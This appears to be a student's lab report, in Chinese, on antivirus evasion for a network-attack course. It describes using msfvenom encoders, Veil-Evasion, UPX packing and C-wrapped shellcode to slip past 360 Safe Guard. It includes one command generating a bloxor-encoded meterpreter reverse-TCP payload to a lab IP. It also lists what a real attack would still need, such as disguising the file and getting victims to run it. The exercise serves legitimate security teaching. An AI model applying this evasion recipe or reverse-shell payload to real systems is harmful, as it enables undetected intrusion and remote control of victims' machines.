目录


实验内容

返回目录


基础问题

  • 杀软是如何检测出恶意代码的?

  • 免杀是做什么?

  • 免杀的基本方法有哪些?

返回目录


相关知识

  • VirusTotal、Virscan

  • msfvenom直接生成meterpreter可执行文件,检出率为46/57;Msfvenom是Metasploit平台下用来编码payloads免杀的工具
  • Veil-Evasion
    • 一个免杀平台,是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe
    • virustoal检出为19/57
  • 半手工打造恶意软件:C语言调用Shellcode
  • 加壳
    • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行
    • 加壳的一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码
    • MSF的编码器使用类似方法,对shellcode进行再编码
    • 技术上分壳分为:压缩壳、加密壳、虚拟机

返回目录


实验步骤

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
通过组合应用各种技术实现恶意代码免杀
  • 采用C语言调用shellcode+压缩壳方式免杀成功并可以回连

    • 被控主机:win10
    • 扫描软件:360安全卫士11.5.0.2001
    • 将shellcode在vc下编译,在进行加壳
      • 成功回连
        2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP
      • 免杀成功
        2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP
      • 此种有缺陷,360可以基于行为监测在运行时程序就会被发现T.T
  • 采用C语言调用bloxor编码的shellcode方式免杀成功并可以回连
    • 被控主机:win10
    • 扫描软件:360安全卫士11.5.0.2001
    • 生成shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.183.130 LPORT=5330 -f c
    • 将加入shellcode的c程序在vc下编译
      • 成功回连
        2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP
      • 免杀成功
        2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP
      • 只是换了一种编码方式,多次扫描都没有被发现!!
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 用舍友电脑互ping时发现ping不通,才知道IP地址需要在同一网段
  • 我将我的kali虚拟机和舍友电脑上的win7虚拟机的网络适配器均改为桥接模式,使IP地址网段相同,ping通。
  • 将我上面第二种方法所生成的程序拷贝到舍友电脑上,开始控制。
    • 免杀成功
      2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP
    • 回连成功
      2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP

返回目录


实验过程中遇到的问题

  • 在进行upx加壳时报错“upx: 5330-shellcode.exe: NotCompressibleException”
    2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP

  • 在测试shellcode可用性时,在windows下运行5330-shellcode.exe提示该版本的 E:\ncat\5330-shellcode.exe 与你运行的 Windows 版本不兼容

  • 在kali 18.1版中安装veil成功,但运行无法输出文件

  • 在veil进行python语言重写时,生成文件失败,但用其他语言可以成功。。
    2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践-LMLPHP

返回目录


离实战还缺些什么技术或步骤?

  • 现在我们所做的步骤都是传送到被控主机上,很明显的被发现,然后开始运行,虽然会躲过一些杀软,但是我们不能十足的保证不会被杀,在实战也还存在如何巧妙地伪装,如何安插在正常软件中躲过扫描,以及如何吸引让被控主机自主运行等技术。

返回目录


实验总结与体会

  • 本次实验的出错率真的有点多,过程做的十分艰难,从一开始的装veil就感觉我的虚拟机就像和我作对。。后来换了虚拟机后,按照老师的步骤,虽然还是在出错,但是解决后成功的那一瞬间真的感觉超级棒,从这次实验我也体会到我们在一步步深入到免杀原理中,亲手打造的程序虽然并不是很强大,但是对刚开始学习的我们真的有十足的兴趣去研究,另一方面还是告诉我们一定要增强防范意识,保护好自己的信息。
05-11 20:30